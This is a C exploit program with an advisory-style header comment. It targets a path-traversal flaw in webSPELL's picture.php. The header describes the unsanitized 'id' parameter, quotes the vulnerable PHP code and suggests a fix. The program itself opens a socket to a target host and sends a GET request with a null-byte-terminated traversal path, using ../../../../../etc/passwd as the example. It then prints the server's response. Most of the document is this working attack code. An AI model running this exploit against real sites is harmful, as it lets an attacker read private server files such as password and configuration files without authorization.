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/*
* webSPELL <= 4.2.0d Local File Disclosure Exploit (.c linux)
*
* by Juri Gianni aka yeat - staker[at]hotmail[dot]it
*
* Description
* -----------
* webSPELL contains one flaw that allows an attacker
* to disclose a local file. The issue is due to 'picture.php'
* script not properly sanitizing user input supplied to
* the 'file' GET variable.
* -----------
* Vulnerability already found by Trex on 4.01.02 version.
* Not Fixed. it works with magic_quotes_gpc OFF
* Visit http://zeroidentity.org
*
* Download on http://www.webspell.org/download.php?fileID=22
*
* (File: picture.php) code details
* --------------------------------
if(file_exists('images/gallery/large/'.$_GET['id'].'.jpg'))
$file='images/gallery/large/'.$_GET['id'].'.jpg';
elseif(file_exists('images/gallery/large/'.$_GET['id'].'.gif'))
$file='images/gallery/large/'.$_GET['id'].'.gif';
elseif(file_exists('images/gallery/large/'.$_GET['id'].'.png'))
$file='images/gallery/large/'.$_GET['id'].'.png';
else $file='';
$info=getimagesize($file);
switch($info[2]) {
case 1: Header("Content-type: image/gif"); break;
case 2: Header("Content-type: image/jpeg"); break;
case 3: Header("Content-type: image/png"); break;
}
echo file_get_contents($file);
?>
* ------------------------------
* Possible Fix:
*
* $file = preg_replace('/[^a-zA-Z0-9\_]/','',addslashes($_GET['id']));
*
* otherwise if $_GET['id'] variable is an integer use intval() function.
*
* $file = intval($_GET['id']);
*
* -----------------------------
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#define GET "GET %s/picture.php?id=%s HTTP/1.1\r\n" \
"Host: %s\r\n" \
"User-Agent: Links (2.1pre26; Linux 2.6.19-gentoo-r5 x86_64; x)\r\n" \
"Connection: close\r\n\r\n"
char *getHost (char *host)
{
struct hostent *hp;
struct in_addr **y;
hp = gethostbyname(host);
y = (struct in_addr **)hp->h_addr_list;
return inet_ntoa(**y);
}
int main (int argc,char **argv)
{
int server,leak;
char data[1024],html[5000];
char packet[500],loadsf[5000];
struct sockaddr_in addr;
if (argc < 3) {
printf("Usage: %s host /path file\n",argv[0]);
printf("RunEx: %s localhost /webSPELL ../../../../../etc/passwd\n",argv[0]);
exit(0);
}
server = socket(AF_INET,SOCK_STREAM,0);
addr.sin_family = AF_INET;
addr.sin_port = htons((int)80);
addr.sin_addr.s_addr = inet_addr(getHost(argv[1]));
leak = connect(server,(struct sockaddr*)&addr,sizeof(addr));
if (leak < 0) {
printf("connection refused..try again\n");
exit(0);
}
strncat(argv[3],"%00",sizeof(argv[3]));
snprintf(packet,sizeof(packet),GET,argv[2],argv[3],argv[1]);
if (send(server,packet,sizeof(packet),0) < 0) {
printf("data sent error..\n");
}
while(recv(server,html,sizeof(html),0) > 0) {
printf("%s",html);
}
return 0;
}
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